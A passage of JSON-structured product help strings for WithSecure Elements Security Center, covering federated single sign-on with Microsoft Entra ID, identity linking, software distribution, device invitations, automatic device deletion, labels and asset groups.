(SSO).", "content.title_before_implementing_sso_00B273": "Why is plus addressing problematic?", "content.p_before_implementing_sso_007638": "Microsoft Entra ID does not support email aliases or email addresses with plus addressing for authentication. When you configure SSO and start to use it, all email aliases and Elements user accounts with plus addressing stop working.", "content.note_before_implementing_sso_00C563": "Important: Do not configure SSO using email aliases or Elements user accounts with plus addressing.", "content.title_before_implementing_sso_005A2F": "Frequently asked questions", "content.dt_before_implementing_sso_00004B": "How to avoid users losing access to remove federation?", "content.dd_before_implementing_sso_00C9B6": "When implementing federation, make sure that there is a user account without plus addressing or email alias. Otherwise, you may lose access to Elements Security Center.", "content.dt_before_implementing_sso_00256E": "How does SSO change the login process?", "content.dd_before_implementing_sso_00F4D3": "After federation, users authenticate through Microsoft Entra ID, eliminating the need for a separate login flow for Elements Security Center.", "content.dt_before_implementing_sso_0061F2": "How often do users with Elements Entra ID need to authenticate to Elements Security Center?", "content.dd_before_implementing_sso_004ADE": "If users do not have a valid federated authentication session, Elements Security Center requires them to log in and authenticate.", "content.title_before_implementing_sso_00A373": "Global impact of SSO", "content.p_before_implementing_sso_007EEA": "Implementing SSO affects all organizations and hierarchies with user accounts from federated email domain. Some users have accounts across various partner- and service partner-level hierarchies, and changes will affect all these hierarchies. For example, if Partner A has their own Solution Provider (SOP) and shares a domain with other partners' SOPs, the SSO affects the Elements level, not only the specific SOP. An email domain can only be federated once within an organization, but this will affect all user accounts associated with that domain.", "content.title_before_implementing_sso_0015A0": "Hierarchy-level considerations", "content.p_before_implementing_sso_00F91C": "Make sure to generate SSO from the appropriate hierarchy level, because it can be only modified from there.", "content.title_before_implementing_sso_0013CA": "Handling Microsoft Entra ID account removal", "content.p_before_implementing_sso_001400": "If a Microsoft Entra ID account is removed, the Elements administrator is not automatically deleted, but the account will no longer function. You need to manually delete the administrator.", "desc": [ "content.title_before_implementing_sso_00B273", "content.p_before_implementing_sso_007638", "content.note_before_implementing_sso_00C563", "content.title_before_implementing_sso_005A2F", { "dl.dl_before_implementing_sso_00D7F0": [ { "dlentry.how-to-avoid-users-losing-3BD0": [ "content.dt_before_implementing_sso_00004B", "content.dd_before_implementing_sso_00C9B6" ] }, { "dlentry.how-does-sso-change-the-lo74D6": [ "content.dt_before_implementing_sso_00256E", "content.dd_before_implementing_sso_00F4D3" ] }, { "dlentry.how-often-do-users-with-el475D": [ "content.dt_before_implementing_sso_0061F2", "content.dd_before_implementing_sso_004ADE" ] } ] }, "content.title_before_implementing_sso_00A373", "content.p_before_implementing_sso_007EEA", "content.title_before_implementing_sso_0015A0", "content.p_before_implementing_sso_00F91C", "content.title_before_implementing_sso_0013CA", "content.p_before_implementing_sso_001400" ] }, "setting_up_federated_single_sign_on-latest-en.json": { "title": "title_setting_up_federated_sin_0A06F", "title_setting_up_federated_sin_0A06F": "Set up federated single sign-on with Microsoft Entra ID", "shortdesc": "shortdesc_setting_up_federated_sin_00DF4", "shortdesc_setting_up_federated_sin_00DF4": "Sets up federated single sign-on so users can sign in with their Microsoft Entra ID credentials.", "step.step_setting_up_federated_sin_08B54": "A non-federated domain - a domain name, for example yourcompanydomain.com, that is not federated with Elements Security Center", "step.step_setting_up_federated_sin_08B43": "Elements Security Center account - an account in Elements Security Center with the assigned Endpoint Protection Full editing permission. This account is necessary for managing federated domains and later logging in to Elements Security Center using an Entra ID account.", "content.note_setting_up_federated_sin_09CC9": "Note: The user who is federating a domain must have a global administrator role in the Entra ID tenant for this scenario. Once the domain is federated, any user with an Entra account can log in, provided they also have a corresponding Elements account.", "step.step_setting_up_federated_sin_04A69": "Entra ID tenant account - an account in the Entra ID tenant that manages the domain that you want to federate. This account is essential for logging in to Elements Security Center and federating the domain.", "content.p_setting_up_federated_sin_069F8": "Set up federated single sign-on so users can sign in to Elements with their Microsoft Entra ID credentials.", "step.step_setting_up_federated_sin_03EA5": "Log in to WithSecure Elements Security Center sign-in page.", "content.p_setting_up_federated_sin_07FD0": "The Configure federated single sign-on window opens showing the status of the domain that matches your email address.", "step.step_setting_up_federated_sin_08884": "Under Management > Organization Settings > Security Administrators , select Configure federated single sign-on.", "step.step_setting_up_federated_sin_044AE": "Select Log in to Microsoft", "step.step_setting_up_federated_sin_0BEFB": "In the pop-up window that opens, enter your password for the Entra tenant, and select Sign in.", "content.p_setting_up_federated_sin_0D57F": "The Single Sign-on Access Federation window is refreshed and shows Validation successful.", "content.note_setting_up_federated_sin_0C2F8": "Note: If you select Cancel, the window shows Validation failed. Other reasons for unsuccessful validation may include the process taking too long or a lack of the Global Administrator role.", "step.step_setting_up_federated_sin_01C97": "Select Consent on behalf of your organization and then select Accept.", "content.p_setting_up_federated_sin_04406": "After you have federated the domain, its status changes to The Federated single sign-on is enabled for [domain name].", "step.step_setting_up_federated_sin_0E648": "To federate the domain, select Enable federated single sign-on.", "desc": [ { "steps.ul_setting_up_federated_sin_0A097": [ "step.step_setting_up_federated_sin_08B54", "step.step_setting_up_federated_sin_08B43", "step.step_setting_up_federated_sin_04A69", "content.note_setting_up_federated_sin_09CC9" ] }, "content.p_setting_up_federated_sin_069F8", { "steps.steps_setting_up_federated_sin_0BBBE": [ "step.step_setting_up_federated_sin_03EA5", "step.step_setting_up_federated_sin_08884", "content.p_setting_up_federated_sin_07FD0", "step.step_setting_up_federated_sin_044AE", "step.step_setting_up_federated_sin_0BEFB", "step.step_setting_up_federated_sin_01C97", "content.p_setting_up_federated_sin_0D57F", "content.note_setting_up_federated_sin_0C2F8", "step.step_setting_up_federated_sin_0E648", "content.p_setting_up_federated_sin_04406" ] } ], "related": [ "logging_in_to_a_federated_domain-latest-en" ] }, "linking_user_identities-latest-en.json": { "title": "title_linking_user_identities_00F693", "title_linking_user_identities_00F693": "Link user identities", "shortdesc": "shortdesc_linking_user_identities_008855", "shortdesc_linking_user_identities_008855": "Links user identities in Elements Security Center for federated domains.", "content.note_linking_user_identities_00D4DF": "Note: Every user with an email address in the domain only needs to link their identity once, during their initial login after the domain has been federated.", "content.p_linking_user_identities_0086F9": "Make sure you have the following:", "step.step_linking_user_identities_00D2E4": "A federated domain", "content.note_linking_user_identities_00E3E5": "Note: These accounts are manually created by other administrators. This flow occurs when the users log in for the first time.", "step.step_linking_user_identities_005FE2": "A user with an Elements account whose email address belongs to the federated domain", "step.step_linking_user_identities_00AA31": "The user must not be currently logged in", "step.step_linking_user_identities_006DB7": "The account that is used to log in to Elements Security Center should not have undergone identity linking before", "content.p_linking_user_identities_00FAF0": "To link identities:", "step.step_linking_user_identities_0003D6": "Log in to WithSecure Elements Security Center sign-in page.", "step.step_linking_user_identities_00A595": "Enter your email address and select Continue.", "content.note_linking_user_identities_00CC0B": "Note: Depending on the domain configuration, you may need to complete multi-factor authentication (MFA).", "step.step_linking_user_identities_0035C0": "If your email address is already authenticated in the domain, you are redirected to the identity linking flow; if your email address is not yet authenticated in the domain, you are asked to provide your domain password.", "step.step_linking_user_identities_00633C": "Enter your email address again, and select Continue.", "content.p_linking_user_identities_0086F2": "A window opens confirming that your business account is now going to be linked (federated) with your Entra ID account.", "step.step_linking_user_identities_00AA33": "Next, enter your Elements account password and select Continue", "step.step_linking_user_identities_007BE2": "Select Continue to proceed.", "desc": [ "content.note_linking_user_identities_00D4DF", "content.p_linking_user_identities_0086F9", { "steps.ul_linking_user_identities_001AC4": [ "step.step_linking_user_identities_00D2E4", "step.step_linking_user_identities_005FE2", "content.note_linking_user_identities_00E3E5", "step.step_linking_user_identities_00AA31", "step.step_linking_user_identities_006DB7" ] }, "content.p_linking_user_identities_00FAF0", { "steps.steps_linking_user_identities_00D573": [ "step.step_linking_user_identities_0003D6", "step.step_linking_user_identities_00A595", "step.step_linking_user_identities_0035C0", "content.note_linking_user_identities_00CC0B", "step.step_linking_user_identities_00633C", "step.step_linking_user_identities_00AA33", "content.p_linking_user_identities_0086F2", "step.step_linking_user_identities_007BE2" ] } ] }, "removing_federated_domain-latest-en.json": { "title": "title_removing_federated_domai_0DA32", "title_removing_federated_domai_0DA32": "Remove federation from a domain", "shortdesc": "shortdesc_removing_federated_domai_02FB3", "shortdesc_removing_federated_domai_02FB3": "Removes single sign-on federation from a domain.", "step.step_removing_federated_domai_03A4F": "A federated domain", "step.step_removing_federated_domai_04AA7": "An account in Elements Security Center with Endpoint Protection Full editing permission and an email address in the federated domain.", "content.note_removing_federated_domai_0234E": "Note: When federation is removed from a domain, users that have email address in that domain must use their Elements credentials to log in. However, if an Elements account was created after the domain was federated, users have not received an email with their initial password and do not know their Elements credentials. In that case, they must reset their password.", "content.p_removing_federated_domai_0199C": "To remove federation:", "step.step_removing_federated_domai_0F485": "Log in to WithSecure Elements Security Center sign-in page.", "content.p_removing_federated_domai_00F4F": "The Federated Single sign-on window opens showing the status of the domain that matches your email address.", "step.step_removing_federated_domai_03C6B": "Select SSO Access Federation.", "content.p_removing_federated_domai_0678A": "A confirmation window opens.", "step.step_removing_federated_domai_0E82A": "Select Remove Federated Single sign-on.", "content.p_removing_federated_domai_01DF6": "Single sign-on federation is removed from the domain account.", "step.step_removing_federated_domai_0C037": "Select Ok.", "desc": [ { "steps.ul_removing_federated_domai_079B2": [ "step.step_removing_federated_domai_03A4F", "step.step_removing_federated_domai_04AA7" ] }, "content.note_removing_federated_domai_0234E", "content.p_removing_federated_domai_0199C", { "steps.steps_removing_federated_domai_0A8B2": [ "step.step_removing_federated_domai_0F485", "step.step_removing_federated_domai_03C6B", "content.p_removing_federated_domai_00F4F", "step.step_removing_federated_domai_0E82A", "content.p_removing_federated_domai_0678A", "step.step_removing_federated_domai_0C037", "content.p_removing_federated_domai_01DF6" ] } ] }, "add_managing_devices_company-latest-en.json": { "title": "title_add_managing_devices_com_080D2", "title_add_managing_devices_com_080D2": "Adding devices for management", "shortdesc": "shortdesc_add_managing_devices_com_05B8C", "shortdesc_add_managing_devices_com_05B8C": "To monitor and manage the security of a computer or mobile device by using your WithSecure Elements account, you must first install an Endpoint Protection software on the computer or mobile device. ", "content.p_add_managing_devices_com_09F26": "Once the software is installed, the device will be added to your WithSecure Elements Security Center account. Through Elements Security Center, you can follow the performance of the security product, as well as manage its subscription, updates and other standard tasks.", "content.note_add_managing_devices_com_05D73": "Note: When you add a new device, the default profile is applied to it.", "content.p_add_managing_devices_com_0FA8B": "There are several ways in which you can install the Endpoint Protection software on the device that you wish to manage:", "step.step_add_managing_devices_com_06958": "Send to the device user an email with a link to the software installer and instructions on how to install and activate it.", "content.note_add_managing_devices_com_09BC5": "Note: This does not apply to WithSecure Elements Mobile Protection.", "step.step_add_managing_devices_com_097C3": "Download the software directly from Elements Security Center and transfer it to the device.", "step.step_add_managing_devices_com_000F3": "Deploy the software through GPO, images, or RMM or MDM tools.", "content.p_add_managing_devices_com_0CF35": "You can add several mobile devices at one go by importing a CSV file containing the required details for each device.", "content.note_add_managing_devices_com_05345": "Note: Before you can add a new device, you must have a subscription for an Endpoint Protection software with at least one free installation available. The number of free installations available to a company will determine the number of devices you can add to it.", "desc": [ "content.p_add_managing_devices_com_09F26", "content.note_add_managing_devices_com_05D73", "content.p_add_managing_devices_com_0FA8B", { "steps.ul_add_managing_devices_com_03644": [ "step.step_add_managing_devices_com_06958", "step.step_add_managing_devices_com_097C3", "content.note_add_managing_devices_com_09BC5", "step.step_add_managing_devices_com_000F3" ] }, "content.p_add_managing_devices_com_0CF35", "content.note_add_managing_devices_com_05345" ] }, "adding_devices-latest-en.json": { "title": "title_adding_devices_000001_2A77A8FD", "title_adding_devices_000001_2A77A8FD": "Distributing WithSecure software", "shortdesc": "shortdesc_adding_devices_000002_1E3116C2", "shortdesc_adding_devices_000002_1E3116C2": "Ways to distribute WithSecure Elements Endpoint Protection software to your devices.", "subchoice.choice_adding_devices_000018_75C69421": "WithSecure Elements EPP for Computers (Windows and Mac)", "subchoice.choice_adding_devices_000019_3832C9AF": "WithSecure Elements EDR and EPP for Computers (Windows and Mac)", "content.note_adding_devices_00001B_D9B88F20": "Note: When installing the software as a standalone, you must add an additional command-line parameter '--skip-sidegrade' to turn off automatic uninstallation of the existing Endpoint Protection software.", "subchoice.choice_adding_devices_00001A_4BA5B3B6": "WithSecure Elements EDR for Computers (Windows, Mac, and Linux)", "subchoice.choice_adding_devices_00001D_55CFD5E7": "WithSecure Elements EPP for Computers Premium (Windows only)", "subchoice.choice_adding_devices_00001E_F46CFF42": "WithSecure Elements EDR and EPP for Computers Premium (Windows only)", "subchoice.choice_adding_devices_00001F_E79DADA8": "WithSecure Elements Exposure Management (Windows only)", "step.step_adding_devices_000015_1E25A3DE": "You can install the following software using the same WithSecure Elements Agent for Computers installation package. The subscription key determines which software is installed:", "subchoice.choice_adding_devices_000025_A5ECB8D8": "WithSecure Elements EPP for Servers (Windows and Linux)", "subchoice.choice_adding_devices_000026_04340A67": "WithSecure Elements EDR for Servers (Windows only)", "subchoice.choice_adding_devices_000027_2F01EE5A": "WithSecure Elements EPP for Servers Premium (Windows only)", "subchoice.choice_adding_devices_000028_541EEE62": "WithSecure Elements EDR and EPP for Servers Premium (Windows and Linux)", "subchoice.choice_adding_devices_000029_EF8464B4": "WithSecure Elements Exposure Management (Windows only)", "step.step_adding_devices_000022_673E60D0": "You can install the following software using the same WithSecure Elements Agent for Servers installation package. The subscription key determines which software is installed:", "content.note_adding_devices_000032_5887A75A": "Note: With all the Elements software (except for the Elements Connector), you can add devices by selecting the Add new device option and then choosing to send either one invitation or importing data from a CSV file to send multiple invitations.", "subchoice.choice_adding_devices_00002F_06DFDE8E": "By sending an installation email via the WithSecure Elements EPP portal using the Add new device.", "subchoice.choice_adding_devices_000035_730CFBED": "By sending an installation email via a third-party MDM software.", "step.step_adding_devices_00002C_D16DCDAB": "You can install WithSecure Elements Mobile Protection in two ways:", "step.step_adding_devices_000037_94B1AABA": "For installing WithSecure Elements Connector, see instructions at WithSecure Elements Connector documentation.", "desc": [ { "steps.ul_adding_devices_000014_0193D12B": [ "step.step_adding_devices_000015_1E25A3DE", { "subchoices.ul_adding_devices_000017_8DC4EBC4": [ "subchoice.choice_adding_devices_000018_75C69421", "subchoice.choice_adding_devices_000019_3832C9AF", "subchoice.choice_adding_devices_00001A_4BA5B3B6", "content.note_adding_devices_00001B_D9B88F20", "subchoice.choice_adding_devices_00001D_55CFD5E7", "subchoice.choice_adding_devices_00001E_F46CFF42", "subchoice.choice_adding_devices_00001F_E79DADA8" ] } ] }, { "steps.ul_adding_devices_000021_81AEB82E": [ "step.step_adding_devices_000022_673E60D0", { "subchoices.ul_adding_devices_000024_C22A84D2": [ "subchoice.choice_adding_devices_000025_A5ECB8D8", "subchoice.choice_adding_devices_000026_04340A67", "subchoice.choice_adding_devices_000027_2F01EE5A", "subchoice.choice_adding_devices_000028_541EEE62", "subchoice.choice_adding_devices_000029_EF8464B4" ] } ] }, { "steps.ul_adding_devices_00002B_A43F4FAD": [ "step.step_adding_devices_00002C_D16DCDAB", { "subchoices.ul_adding_devices_00002E_A5D5C538": [ "subchoice.choice_adding_devices_00002F_06DFDE8E", "content.note_adding_devices_000032_5887A75A", "subchoice.choice_adding_devices_000035_730CFBED" ] } ] }, { "steps.ul_adding_devices_000036_A0DC51A7": [ "step.step_adding_devices_000037_94B1AABA" ] } ] }, "adding_device-latest-en.json": { "title": "title_adding_device_000001_20DF35FD", "title_adding_device_000001_20DF35FD": "Send an installation link via email", "shortdesc": "shortdesc_adding_device_000002_F09209C0", "shortdesc_adding_device_000002_F09209C0": "You can send company users an email with an installation link for an WithSecure Elements software. ", "content.note_adding_device_000013_FD930AE1": "Note: The installation link is valid for 30 days.", "content.p_adding_device_000014_73365A35": "Using the link, company users can install the product on one of their device at their own convenience. Once the product is installed, the device appears in your WithSecure Elements account.", "content.p_adding_device_000016_E40D2C4B": "To provide the users with the software that you want them to install:", "content.p_adding_device_00001C_FC6C9307": "The Devices page is displayed.", "step.step_adding_device_000018_5B94BE0F": "Under Environment, select Devices on the sidebar.", "content.p_adding_device_000022_FD54E6CA": "A menu is displayed.", "step.step_adding_device_00001E_CFA6CD79": "Select next to Devices.", "content.p_adding_device_000026_1FCC72F9": "The Add new device page opens.", "content.note_adding_device_000028_991D6A5C": "Note: If the scope selector is set to focus on a specific company, an Add new device button will also appear on the Home page, which you can click to go directly to the Add new device form.", "step.step_adding_device_000023_7FECE972": "From the menu, select Add new device.", "step.step_adding_device_00002C_05162A0E": "Select the product.", "step.step_adding_device_00002E_A5DA3827": "From the drop-down menu, choose the language in which you want to send the invitation.", "content.p_adding_device_000032_3CB8844B": "To send multiple invitations, under Import from CSV file, select Choose file to select a CSV file from which you want to import data. Multiple email addresses must be separated by commas.", "step.step_adding_device_000030_ECD95BC2": "Enter the email address of the recipient to whom you want to send the invitation and other, optional details.", "content.p_adding_device_000038_03602314": "The listed recipients receive an email that contains a link to the download site and instructions for downloading and installing the product that you selected.", "content.note_adding_device_000039_6F12971B": "Note: To see the pending invitations, first select
next to Devices, and then select Manage device invitations.", "step.step_adding_device_000035_72845EBB": "Select Send.", "content.note_adding_device_00003D_314D2417": "Note: The software is customized to use the subscription key that you selected on the Add new device page.", "content.p_adding_device_000040_BDB238DB": "Once the product has been installed and activated on the device, it will show on the Devices page and the invitation disappears from the managed devices invitations page.", "desc": [ "content.note_adding_device_000013_FD930AE1", "content.p_adding_device_000014_73365A35", "content.p_adding_device_000016_E40D2C4B", { "steps.steps_adding_device_000017_669B225B": [ "step.step_adding_device_000018_5B94BE0F", "content.p_adding_device_00001C_FC6C9307", "step.step_adding_device_00001E_CFA6CD79", "content.p_adding_device_000022_FD54E6CA", "step.step_adding_device_000023_7FECE972", "content.p_adding_device_000026_1FCC72F9", "content.note_adding_device_000028_991D6A5C", "step.step_adding_device_00002C_05162A0E", "step.step_adding_device_00002E_A5DA3827", "step.step_adding_device_000030_ECD95BC2", "content.p_adding_device_000032_3CB8844B", "step.step_adding_device_000035_72845EBB", "content.p_adding_device_000038_03602314", "content.note_adding_device_000039_6F12971B" ] }, "content.note_adding_device_00003D_314D2417", "content.p_adding_device_000040_BDB238DB" ], "related": [ "download_software-latest-en" ] }, "download_software-latest-en.json": { "title": "title_download_software_000001_62F01", "title_download_software_000001_62F01": "Download software from Elements Security Center", "shortdesc": "shortdesc_download_software_000002_11683", "shortdesc_download_software_000002_11683": "You can download WithSecure software installation packages through WithSecure Elements Security Center. ", "content.p_download_software_000014_8264C": "To download the software:", "step.step_download_software_000016_22FC8": "Log in to Elements Security Center.", "content.p_download_software_00001C_DEC4A": "The Downloads page opens.", "step.step_download_software_000019_76A9F": "Select Downloads on the sidebar.", "step.step_download_software_00001E_976B4": "Locate the section for your device type, for example WithSecure Elements Agent for Computers or WithSecure Elements Agent for Servers.", "subchoice.choice_download_software_000026_78974": "Windows: Download .exe or Download .msi", "subchoice.choice_download_software_000029_2222F": "Mac: Download .mpkg", "subchoice.choice_download_software_00002B_0D2F1": "Linux: Download amd64 or Download arm64", "content.p_download_software_000024_A1A21": "The available buttons depend on the operating system:", "content.p_download_software_00002E_F0838": "The software is downloaded. The subscription key associated with your account is embedded in the installer.", "step.step_download_software_000022_49DD1": "Select the download button for your operating system.", "content.p_download_software_00002F_AB884": "Once the desired software has been downloaded, you can transfer and install it on the computer or mobile device you wish to manage. The subscription key is embedded in the product.", "content.note_download_software_000031_90A6A": "Important: Do not use a subscription key for \"WithSecure Elements EDR only\" in devices that have the WithSecure Elements EDR for Computers or vice versa. It may break the software, which you then need to manually remove.", "content.p_download_software_000034_E877D": "After downloading the software, you need to deploy it.", "desc": [ "content.p_download_software_000014_8264C", { "steps.steps_download_software_000015_D7001": [ "step.step_download_software_000016_22FC8", "step.step_download_software_000019_76A9F", "content.p_download_software_00001C_DEC4A", "step.step_download_software_00001E_976B4", "step.step_download_software_000022_49DD1", "content.p_download_software_000024_A1A21", { "subchoices.ul_download_software_000025_498C8": [ "subchoice.choice_download_software_000026_78974", "subchoice.choice_download_software_000029_2222F", "subchoice.choice_download_software_00002B_0D2F1" ] }, "content.p_download_software_00002E_F0838" ] }, "content.p_download_software_00002F_AB884", "content.note_download_software_000031_90A6A", "content.p_download_software_000034_E877D" ] }, "manage_automatic_deletion-latest-en.json": { "title": "title_manage_automatic_deletio_07E0E", "title_manage_automatic_deletio_07E0E": "Manage automatic deletion of devices", "shortdesc": "shortdesc_manage_automatic_deletio_02A85", "shortdesc_manage_automatic_deletio_02A85": "You can select to automatically delete devices that have been offline for a set number of days. ", "content.note_manage_automatic_deletio_02D7A": "Note: This feature does not apply to mobile devices.", "content.note_manage_automatic_deletio_0363E": "Note: You can set the automatic removal of devices only on the Company level.", "content.p_manage_automatic_deletio_000B4": "You can define the period that a device needs to be offline before it will be deleted. If a deleted device becomes active, it is shown again in Elements Security Center if there are free seats in the subscription. If the subscription is full, the device is not shown in Elements Security Center and is not protected.", "content.p_manage_automatic_deletio_0100A": "To turn on automatic deletion of devices:", "content.p_manage_automatic_deletio_0018E": "The Devices page opens.", "step.step_manage_automatic_deletio_00E95": "Under Environment, select Devices on the sidebar.", "content.p_manage_automatic_deletio_076DB": "A menu is displayed.", "step.step_manage_automatic_deletio_05E3B": "Select next to Devices.", "content.p_manage_automatic_deletio_04D73": "The Manage automatic deletion page opens.", "step.step_manage_automatic_deletio_0BC2B": "From the menu, select Manage automatic deletion.", "step.step_manage_automatic_deletio_09E08": "Turn on Automatically delete devices....", "content.note_manage_automatic_deletio_02745": "Note: The minimum number of days is seven (7).", "step.step_manage_automatic_deletio_0C906": "In the box, enter the number of days for a device to be offline before it is deleted.", "content.note_manage_automatic_deletio_07C35": "Important: If a removed device resumes its activity after being removed, it is automatically added back to your subscription, if your subscription has free space. However, if your subscription is full, the device is not returned to the subscription and is left without protection.", "step.step_manage_automatic_deletio_0F1B7": "Select Save.", "desc": [ "content.note_manage_automatic_deletio_02D7A", "content.note_manage_automatic_deletio_0363E", "content.p_manage_automatic_deletio_000B4", "content.p_manage_automatic_deletio_0100A", { "steps.steps_manage_automatic_deletio_0B43D": [ "step.step_manage_automatic_deletio_00E95", "content.p_manage_automatic_deletio_0018E", "step.step_manage_automatic_deletio_05E3B", "content.p_manage_automatic_deletio_076DB", "step.step_manage_automatic_deletio_0BC2B", "content.p_manage_automatic_deletio_04D73", "step.step_manage_automatic_deletio_09E08", "step.step_manage_automatic_deletio_0C906", "content.note_manage_automatic_deletio_02745", "step.step_manage_automatic_deletio_0F1B7", "content.note_manage_automatic_deletio_07C35" ] } ] }, "managing_invites-latest-en.json": { "title": "title_managing_invites_000001_9B5398", "title_managing_invites_000001_9B5398": "Manage invitations", "shortdesc": "shortdesc_managing_invites_000002_58745A", "shortdesc_managing_invites_000002_58745A": "You can send an email with an installation link that allows the recipient to install the app on one device. ", "content.p_managing_invites_000011_562F7C": "To manage the invitations:", "content.p_managing_invites_000017_4B6F22": "The Devices page is displayed.", "step.step_managing_invites_000013_A73120": "Under Environment, select Devices on the sidebar.", "content.p_managing_invites_00001D_7E0B01": "The Manage device invitations page opens. The Pending tab lists those email invitations that include an installation link that has not been used yet. The Expired tab lists the expired email invitations.", "step.step_managing_invites_000019_E2EBD2": "Select Manage device invitations.", "step.step_managing_invites_000022_9D6DD6": "For the pending invitations, you can send a reminder by selecting Send reminder as long as the installation link is valid (for 30 days). After that the invitations are shown under the Expired tab.", "content.note_managing_invites_000029_272F25": "Note: If there are devices that are no longer needed, for example, the user has left the company, you can delete the expired invitations from the table by selecting Delete pending.", "step.step_managing_invites_000025_2B10EB": "For the expired invitations, you can send another invitation link by selecting Send new invitation.", "desc": [ "content.p_managing_invites_000011_562F7C", { "steps.steps_managing_invites_000012_595BB5": [ "step.step_managing_invites_000013_A73120", "content.p_managing_invites_000017_4B6F22", "step.step_managing_invites_000019_E2EBD2", "content.p_managing_invites_00001D_7E0B01", "step.step_managing_invites_000022_9D6DD6", "step.step_managing_invites_000025_2B10EB", "content.note_managing_invites_000029_272F25" ] } ] }, "enhancing_device_management_with_custom_labels-latest-en.json": { "title": "title_enhancing_device_managem_088EA", "title_enhancing_device_managem_088EA": "Enhancing device management with custom labels", "shortdesc": "shortdesc_enhancing_device_managem_09D40", "shortdesc_enhancing_device_managem_09D40": "Create and apply labels to group devices by criteria that you choose.", "content.p_enhancing_device_managem_01C29": "Adding labels allows you to group devices in any way that you prefer. They are commonly used to provide information about the region, operating system, owner, department, workstation vs. server, or any other criteria that suit your needs.", "content.p_enhancing_device_managem_0B3AF": "Labels help analysts by providing more context and they make it easier for you to manage devices within Elements Security Center.", "desc": [ "content.p_enhancing_device_managem_01C29", "content.p_enhancing_device_managem_0B3AF" ] }, "adding_device_labels-latest-en.json": { "title": "title_adding_device_labels_0000031A5", "title_adding_device_labels_0000031A5": "Add device labels", "shortdesc": "shortdesc_adding_device_labels_0000069DE", "shortdesc_adding_device_labels_0000069DE": "You can add device labels in three different ways.", "content.p_adding_device_labels_00001C2CE": "You can add device labels in the following ways.", "content.note_adding_device_labels_00001966F": "Note: In the command line, labels are called tags.", "subchoice.choice_adding_device_labels_00001479C": "Manually in the Device view: select the devices on the Device list view, or open a single device on the Device details view, then on the Actions panel select Manage labels > Add labels, select an existing label or add a new one, and select Add.", "subchoice.choice_adding_device_labels_00002D25D": "Using label-assignment rules in the Profiles section: in Elements Security Center, go to Security Configurations > Profiles > Profile assignment rules, and add labels to an Outbreak rule or Profile assignment rule so that the labels are applied automatically whenever the rule matches.", "subchoice.choice_adding_device_labels_00002779E": "During the Elements agent installation process: assign installation tags as you deploy the agent. See step 2 in Assigning a default profile and installation tags for details.", "step.step_adding_device_labels_00001BD31": "Add device labels in one of the following ways:", "desc": [ "content.p_adding_device_labels_00001C2CE", "content.note_adding_device_labels_00001966F", { "steps.steps_adding_device_labels_00001C3F9": [ "step.step_adding_device_labels_00001BD31", { "subchoices.choices_adding_device_labels_00001A57B": [ "subchoice.choice_adding_device_labels_00001479C", "subchoice.choice_adding_device_labels_00002D25D", "subchoice.choice_adding_device_labels_00002779E" ] } ] } ] }, "manage_devices_in_portal-latest-en.json": { "title": "title_manage_devices_in_portal_08053", "title_manage_devices_in_portal_08053": "Managing devices in Elements Security Center", "shortdesc": "shortdesc_manage_devices_in_portal_04D55", "shortdesc_manage_devices_in_portal_04D55": "How to manage the selected devices in WithSecure Elements Security Center ", "content.p_manage_devices_in_portal_0D2BB": "You can manage your devices in WithSecure Elements Security Center in several ways:", "step.step_manage_devices_in_portal_06E56": "Organize them into asset groups", "step.step_manage_devices_in_portal_06113": "View and customize the device list", "step.step_manage_devices_in_portal_08640": "Automatically delete inactive computers", "step.step_manage_devices_in_portal_0DDD1": "Request diagnostics", "desc": [ "content.p_manage_devices_in_portal_0D2BB", { "steps.ul_manage_devices_in_portal_0F492": [ "step.step_manage_devices_in_portal_06E56", "step.step_manage_devices_in_portal_06113", "step.step_manage_devices_in_portal_08640", "step.step_manage_devices_in_portal_0DDD1" ] } ] }, "managing_asset_groups-latest-en.json": { "title": "title_managing_asset_groups_0000FB1C", "title_managing_asset_groups_0000FB1C": "Managing asset groups", "shortdesc": "shortdesc_managing_asset_groups_00005A3E", "shortdesc_managing_asset_groups_00005A3E": "Asset groups provide a structured way to manage devices within an organization. ", "content.p_managing_asset_groups_000099F3": "You can assign devices to asset groups in two ways:", "step.step_managing_asset_groups_000014EC": "Manual assignment - assign devices to management groups from the Devices page.", "content.note_managing_asset_groups_00005C0C": "Note: A single rule can assign a device to multiple groups.", "step.step_managing_asset_groups_00004B4B": "Automatic assignment - assign devices to groups based on profile assignment rules.", "content.p_managing_asset_groups_0000EB64": "Once devices are organized into groups, you can do the following:", "step.step_managing_asset_groups_0000E711": "Filter devices by group", "step.step_managing_asset_groups_0000F49C": "Filter security events associated with a specific group", "step.step_managing_asset_groups_0000598B": "List software updates for devices within each group", "content.p_managing_asset_groups_00006330": "By using asset groups, you can enhance device visibility, streamline security event management, and prepare for advanced access control mechanisms in an organization.", "desc": [ "content.p_managing_asset_groups_000099F3", { "steps.ul_managing_asset_groups_00008981": [ "step.step_managing_asset_groups_000014EC", "step.step_managing_asset_groups_00004B4B", "content.note_managing_asset_groups_00005C0C" ] }, "content.p_managing_asset_groups_0000EB64", { "steps.ul_managing_asset_groups_0000B19C": [ "step.step_managing_asset_groups_0000E711", "step.step_managing_asset_groups_0000F49C", "step.step_managing_asset_groups_0000598B" ] }, "content.p_managing_asset_groups_00006330" ] }, "creating_asset_groups-latest-en.json": { "title": "title_creating_asset_groups_0000371A", "title_creating_asset_groups_0000371A": "Create asset groups", "shortdesc": "shortdesc_creating_asset_groups_000032E8", "shortdesc_creating_asset_groups_000032E8": "Creates an asset group at the company level.", "content.p_creating_asset_groups_00007796": "Asset groups can only be created on company level. For example, as a partner, you must first select a company from the scope selector or from the list in the General tab under Management > Organization Settings.", "step.step_creating_asset_groups_0000A205": "Under Management, select Organization Settings > General.", "content.p_creating_asset_groups_0000B651": "The Create asset group pane opens.", "step.step_creating_asset_groups_0000D989": "Select Create asset group.", "step.step_creating_asset_groups_00008213": "Enter a name for the asset group.", "step.step_creating_asset_groups_00001DCB": "(Optional) In the Description box, enter a description for the asset group.", "step.step_creating_asset_groups_00006C1E": "Select Save.", "content.p_creating_asset_groups_0000F464": "Next, go to the Devices page to add devices to the new asset group.", "desc": [ "content.p_creating_asset_groups_00007796", { "steps.steps_creating_asset_groups_00006594": [ "step.step_creating_asset_groups_0000A205", "step.step_creating_asset_groups_0000D989", "content.p_creating_asset_groups_0000B651", "step.step_creating_asset_groups_00008213", "step.step_creating_asset_groups_00001DCB", "step.step_creating_asset_groups_00006C1E" ] }, "content.p_creating_asset_groups_0000F464" ] }, "adding_devices_asset_groups-latest-en.json": { "title": "title_adding_devices_to_asset__0AB0F", "title_adding_devices_to_asset__0AB0F": "Add devices to asset groups", "shortdesc": 